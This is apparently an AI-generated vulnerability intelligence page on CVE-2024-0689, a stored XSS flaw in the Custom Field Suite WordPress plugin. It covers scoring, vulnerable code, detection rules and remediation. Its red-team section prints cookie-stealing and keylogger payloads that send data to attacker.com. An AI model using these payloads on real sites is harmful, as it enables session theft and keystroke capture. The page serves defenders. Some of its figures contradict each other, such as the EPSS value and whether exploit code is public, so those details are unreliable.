☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0689

CVE-2024-0689 Cross-Site Scripting in Custom field suite
📅 PUBLISHED: 2024-02-29 02:33 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0689 is a Stored Cross-Site Scripting (XSS) vulnerability in the Custom Field Suite WordPress plugin, affecting all versions up to and including 2.6.4. The flaw resides in the meta import functionality, where insufficient input sanitization and output escaping on meta values allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Custom Field Suite plugin is distributed via the official WordPress plugin repository and is commonly used to manage custom fields. Since no patch exists, site administrators must consider removing or disabling the plugin until a fix is released. The lack of vendor response increases supply chain risk, as unpatched installations remain vulnerable to stored XSS attacks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
  • Base Score: 4.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires admin access
  • User Interaction: Required (UI:R) – victim must visit injected page
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires admin credentials, but in multi-site environments, a compromised admin account can lead to widespread XSS across all subsites. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability exists in the meta import functionality of the Custom Field Suite plugin. When importing meta values (e.g., via CSV or manual input), the plugin fails to properly sanitize and escape the data before storing it in the database. Specifically, the update_post_meta() function is called without applying sanitize_text_field() or esc_html() on the meta value. When the meta value is later rendered on a page (e.g., via get_post_meta() and echo), the injected JavaScript executes in the context of the victim’s browser.

Attack Flow:

  1. Attacker gains admin access to a WordPress multi-site installation.
  2. Attacker navigates to the Custom Field Suite meta import page.
  3. Attacker injects a payload like <script>alert('XSS')</script> into a meta value field.
  4. The payload is stored in the wp_postmeta table without sanitization.
  5. When any user (including lower-privileged users) views a page that displays that meta value, the script executes.

Root Cause: Lack of input validation and output escaping on meta values during import and display.

Vulnerable vs. Patched Code

Vulnerable Code (custom-field-suite/includes/field.php):

function import_meta($post_id, $meta_key, $meta_value) {
    // No sanitization on $meta_value
    update_post_meta($post_id, $meta_key, $meta_value);
}

Patched Code (hypothetical fix):

function import_meta($post_id, $meta_key, $meta_value) {
    // Sanitize and escape the meta value
    $sanitized_value = sanitize_text_field($meta_value);
    update_post_meta($post_id, $meta_key, $sanitized_value);
}

Output Escaping (in template):

// Vulnerable
echo get_post_meta($post_id, 'custom_field', true);

// Patched
echo esc_html(get_post_meta($post_id, 'custom_field', true));

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Admin credentials on a WordPress multi-site installation.
  • Custom Field Suite plugin version <= 2.6.4.
  • unfiltered_html capability disabled for administrators (default on multi-site).

Step-by-Step Exploit:

  1. Log in as an admin.
  2. Navigate to Custom Fields > Tools > Import.
  3. In the meta value field, enter a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Click Import.
  5. The payload is stored. Any user viewing a page that displays this meta value will trigger the XSS.

Alternative Payload (keylogger):

<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for admin-level imports of meta values containing <script> or onerror attributes.
  • Use WAF rules to block suspicious meta value patterns.

Hardening:

  • Disable the Custom Field Suite plugin until a patch is available.
  • Restrict admin access to trusted users only.
  • Enable unfiltered_html only for super admins (not recommended for multi-site).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: wp-content/plugins/custom-field-suite/includes/field.php (vulnerable version)
  • Database Entry: wp_postmeta rows with meta_value containing <script> tags or JavaScript event handlers.
  • Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
  • Logs: WordPress audit logs showing meta imports by admin users with unusual payloads.

Detection Engineering

YARA Rule

rule CVE_2024_0689_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Custom Field Suite meta values"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-0689"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
    condition:
        any of them
}

Sigma Rule

title: Custom Field Suite Stored XSS via Meta Import
id: 8a3f7c2e-9b1d-4e5f-8c7a-2d3e4f5a6b7c
status: experimental
description: Detects admin-level meta imports containing XSS payloads in Custom Field Suite
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        event: "meta_import"
        user_role: "administrator"
        meta_value|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in meta fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0689 Custom Field Suite Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cfs_import"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the Custom Field Suite plugin until a patch is released.
  2. Restrict admin access – Limit admin accounts to only trusted users.
  3. Audit existing meta values – Scan wp_postmeta for suspicious entries and remove them.

Long-Term Fix:

  • Apply input sanitization (sanitize_text_field()) and output escaping (esc_html()) to all meta import and display functions.
  • Implement a Content Security Policy (CSP) to block inline scripts.

Workaround:

  • If the plugin is critical, consider using a different custom field plugin (e.g., Advanced Custom Fields) that properly sanitizes input.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Custom Field Suite"
http.html:"wp-content/plugins/custom-field-suite"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0689/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.